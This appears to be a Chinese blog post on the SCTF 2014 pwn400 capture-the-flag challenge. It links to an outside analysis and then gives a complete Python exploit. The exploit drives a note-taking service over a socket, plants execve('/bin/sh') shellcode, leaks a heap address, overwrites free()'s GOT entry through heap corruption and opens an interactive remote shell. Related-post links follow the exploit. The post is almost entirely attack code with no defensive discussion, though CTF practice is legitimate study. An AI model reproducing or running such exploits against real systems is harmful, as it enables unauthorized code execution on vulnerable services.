这个题目在这个链接中分析得很透彻,不再多余地写了。http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400

  exploit:

from socket import *
import struct
import time shellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("192.168.200.7", 10001)) time.sleep(1)
print sock.recv(1024)
#new two note: 2, 1
for i in xrange(2):
sock.send('1\n')
time.sleep(1)
sock.recv(1024)
sock.send(str(i+1) + '\n')
time.sleep(1)
sock.recv(1024)
sock.send(str(i+1) + '\n')
time.sleep(1)
sock.recv(1024)
sock.send(str(i+1) + '\n')
time.sleep(1)
sock.recv(1024)
#new the third note: 3
sock.send('1\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
time.sleep(1)
#store shellcode in note 3
sock.send(shellcode+"\n") #get the note 1's address
sock.send('3\n')
time.sleep(1)
print sock.recv(100)
sock.send('1\n')
time.sleep(1)
note1_addr = sock.recv(2048)
while note1_addr.find('location:') == -1:
note1_addr += sock.recv(2048)
print note1_addr
note1_addr = note1_addr[note1_addr.find('location:') + 11:]
note1_addr = note1_addr[:note1_addr.find('\n')]
addr1 = int(note1_addr, 16)
print addr1
#note 2's address
addr2 = addr1 + 0x170
#note 3's address
addr3 = addr2 + 0x170
#shellcode's address
addr_shellcode = struct.pack("<I", addr3 + 0x6c)
#free()'s Got: 0x0804a450
exploit = "A"*256+"BBBB"+struct.pack("<I",addr2)+addr_shellcode+"\x4c\xa4\x04\x08" #edit note 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n")
time.sleep(1)
print sock.recv(1024) #delete node 2
sock.send("5\n")
time.sleep(1)
sock.recv(1024)
time.sleep(1)
sock.send(hex(addr2)[2:10]+'\n')
time.sleep(1)
sock.recv(1024) while True:
sock.send(raw_input('$ ') + '\n')
time.sleep(1)
temp = sock.recv(2048)
print temp

sctf pwn400的更多相关文章

  1. SCTF 2014 PWN400 分析

    之前没有分析PWN400,现在再开一篇文章分析一下. 这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的.所以说可能会有错误之类的. 首先程序是经典的笔记本程序,基本上一看到这种笔记本就知 ...

  2. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  3. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  4. SCTF 2018_Simple PHP Web

    SCTF 2018_Simple PHP Web 进入环境注意观察url http://www.bmzclub.cn:23627/?f=login.php 有点像是文件读取我们尝试读一下/etc/pa ...

  5. sctf pwn300

    拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能. 发现NX enabled,No PIE. 一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出. 观察 ...

  6. sctf pwn200

    题目给出了pwn200和libc.so.使用IDA查看程序,发现逻辑很简单. 使用checksec查看pwn200的安全属性,如下图: 发现NX enabled,No PIE. 在第一次读(0x080 ...

  7. SCTF 2015 pwn试题分析

    Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...

  8. buu SCTF Who is he

    1. 下载好附件,发现是unity的题目,找到assembly.dll,用dnspy直接打开干,在引用下面就是实际的代码 2.找到了核心代码,发现逻辑也挺简单的, 输入的text,要和一串字符串进行b ...

  9. Wooyun隐写术总结

    之前还没有见到drops上有关于隐写术的总结,我之前对于隐写术比较有兴趣,感觉隐写术比较的好玩.所以就打算总结总结一些隐写术方面的东西.写的时候,可能会有错误的地方,请不吝赐教,谢谢. 本篇章中用到的 ...

随机推荐

  1. MD5加密算法(转)

    获取字符串的MD5摘要 原文更详细: http://www.weixuehao.com/archives/474 代码如下: import java.security.MessageDigest; p ...

  2. 关于map与set的一点理解;

    set代码: #include<stdio.h> #include<set> using namespace std; int main(){ set<int>m; ...

  3. ffmpeg学习笔记

           对于每一个刚開始学习的人,刚開始接触ffmpeg时,想必会有三个问题最为关心,即ffmpeg是什么?能干什么?怎么開始学习?本人前段时间開始接触ffmpeg,在刚開始学习过程中.这三个问 ...

  4. Linux常见目录作用

    Linux中一切皆文件 文件类型: 一般文件 - 目录文件 d 链接文件 l 块设备   b    (以块为单位进行操作,比如硬盘) 字符设备 c  (以字符为单位进行操作,比如主存) socket  ...

  5. zepto的touch.js左右滑动存在一些问题,用百度的touch.js代替

    这几天用zepto想写一个移动端的活动,在实现左右滑动触发动画时,发现zepto的touch.js在ios的微信上有问题. 问题描述:左右滑动时如果手指没有一直跟频幕贴着(在手机上滑动时,如果手指不是 ...

  6. 使用API查询天气

    服务端代码 [HttpPost] public ActionResult GetWeather() { HttpWebRequest request = (HttpWebRequest)HttpWeb ...

  7. 自己动手打造html5星际迷航!

    学习html5的canvas第三天,觉得还没过瘾,转眼就忘,于是趁着有空,准备弄个小游戏来玩!游戏应该需要注意性能,还有一些逻辑需要斟酌,我想还需要用户可修改性,也就是用户配置.好,开始我们简单但有趣 ...

  8. how to create virtual network in OS X 10.9

    ifconfig lo0 alias 172.16.123.1 will add an alias IP 172.16.123.1 to the loopback adapter sudo ifcon ...

  9. WDLINUX (Centos5.8) 安装 bcmath

    环境 centos5.8 php5.2.17 因为wdos 集成的php5.2.17为精简版,并未包含php52-bcmath扩展. 所以先下载完整php5.2.17源码包 wget -c http: ...

  10. class之cls

    cls代表的是类本身,一般在静态方法中使用